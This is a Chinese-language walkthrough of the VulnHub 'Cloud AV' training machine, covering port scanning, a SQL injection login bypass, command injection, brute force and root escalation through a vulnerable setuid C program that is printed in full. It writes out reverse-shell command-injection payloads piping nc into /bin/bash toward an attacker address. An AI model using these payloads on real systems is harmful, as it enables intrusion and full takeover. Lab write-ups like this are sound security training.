# 前言
上一篇文章记录了我学习 JavaScript 原型链有关的知识点,这里再开台简单的靶机调和一下思路,地址也贴在这里 BoredHacker 博客:Cloud AV ~ VulnHub
# 靶机描述
云反病毒扫描程序!是一种基于云的防病毒扫描服务。
目前,它处于测试模式。系统要求您测试设置并查找漏洞并升级隐私。
难度:简单
涉及的任务:
- 端口扫描
- 网页应用攻击
- SQL 注入
- 命令注入
- 暴力破解
- 代码分析
虚拟机:
- 格式: 虚拟机 (Virtualbox OVA)
- 操作系统: Linux.
联网:
- DHCP 服务:已启用
- IP 地址自动分配
# 攻击流程
# 信息收集
这里我都是使用的桥接模式,直接扫描当前网段
nmap 192.168.13.0/24 |
这里可以看到开放了 22 和 8080 端口,接下来对端口进行一个服务发现
nmap -p22,8080 -sV 192.168.13.184 |
这里可以看到 8080 上是开放了一个 web 服务,使用了 workzeug 框架,使用的 python 版本 2.7.15
接下使用浏览器尝试去访问 8080 端口
这是一个云防病毒的查杀服务,这里我们需要有一个邀请码才能正常使用服务,这里能想到的方法有两种暴力破解和注入
这里先给火狐浏览器的代理指向 burp 的监听端口
这里发现输入 " 的时候会抛出一个异常
# 漏洞利用
这里抛出的异常很明显是存在 sql 注入
这里使用万能密码就可以,这里直接用浏览器发送请求
这个页面就是一个防病毒的扫描文件了,这里熟悉 linux 的应该第一反应就是这是通过 ll 命令查看到的内容,很显然这些文件就是放在服务端上面的文件,这里我们提交文件名这里后台应该是对我们传入的文件名进行了一些操作,这里猜想可能是命令注入就尝试了一下
这里尝试读取文件
能够成功读取,那么很显然这里的逻辑大概是./filename xxx (xxx 是我们传入的文件名,filename 是查杀病毒的可执行文件)
# nc 反弹 shell
那么接下来就可以进行反弹 shell,开始我也是用 nc 尝试了半天,但是一直没法成功,这里我也是去问了一下大师傅,才知道有些版本的 nc 是没有 - e 参数的
cat;nc 192.168.13.249 1234 | /bin/bash | nc 192.168.13.249 2345 |
这里先通过 nc 监听一个端口,然后通过管道符将第一个连接的后续输入都发送给 /bin/bash,然后将执行的结果通过管道符发送给另一个端口
这里 1234 端口输入的内容
2345 会输出被 /bin/bash 解析后的内容
这里可以看到,这个数据库文件似乎是有点奇怪的,这里使用 file 命令查看一下
这是一个 SQLLite 的数据库文件,这里将这个文件 down 下来再本地运行一下
这里使用 sqlite3 运行这个数据库文件
这里插入了四条数据到数据库中,这里之前在命令注入的地方查看了 /etc/passwd 文件
这里可以看见只有 root,cloudav 和 scanner 是可以通过 shell 登录系统,这里用这几个用户去尝试 ssh 登录
这里分别生成字典然后通过 hydra 尝试登录
好吧这里并不是登录密码,这里接着去收集信息
在上一级目录中发现了一个可能可以利用的文件
这里很显然,update_cloudav.c 是源码文件,update_cloudav 是可执行文件,他的所有者是 root,且可执行,这里的想法就是执行这个文件,然后进行命令注入
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
int main(int argc, char *argv[]) { | |
char *freshclam = "/usr/bin/freshclam"; //freshclam 命令的路径 | |
if (argc < 2) { | |
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n"); | |
return 1; | |
} | |
// 构建完整的命令行 | |
char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2); | |
sprintf(command, "%s %s", freshclam, argv[1]); | |
setgid(0); // 设置有效组 ID 为 0,即 root 用户组 | |
setuid(0); // 设置有效用户 ID 为 0,即 root 用户 | |
system(command); // 执行 freshclam 命令 | |
return 0; | |
} |
这个程序总的来说就如果你有参数就能够正常执行病毒库更新的一个操作,这里还是进行一个命令注入来反弹 shell
./update_cloudav "a;nc 192.168.13.249 6666|/bin/bash|nc 192.168.13.249 7777" |
这样就算是成功了